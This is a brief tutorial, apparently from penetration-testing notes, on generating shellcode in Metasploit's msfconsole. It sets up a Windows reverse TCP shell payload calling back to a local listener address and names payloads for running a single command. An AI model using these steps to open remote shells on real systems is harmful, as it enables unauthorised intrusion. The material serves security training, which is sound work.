Generate shellcode

An easy way to generate shellcode is by using msfvenom or msconsole.

Msfconsole

In msfconsole you have the keyword generate that help us generate shellcode. So first we have to select a payload.

use payload/windows/shell_reverse_tcp

Now we set the variables as usual

set LPORT 5555
set LHOST 192.168.0.101

Now we generate the shellcode using the command generate.

To see the options use generate -h

Single commands in windows

If you don't have space and only want to execute a single command you can use

use payload/windows/exec

use payload/cmd/windows/generic
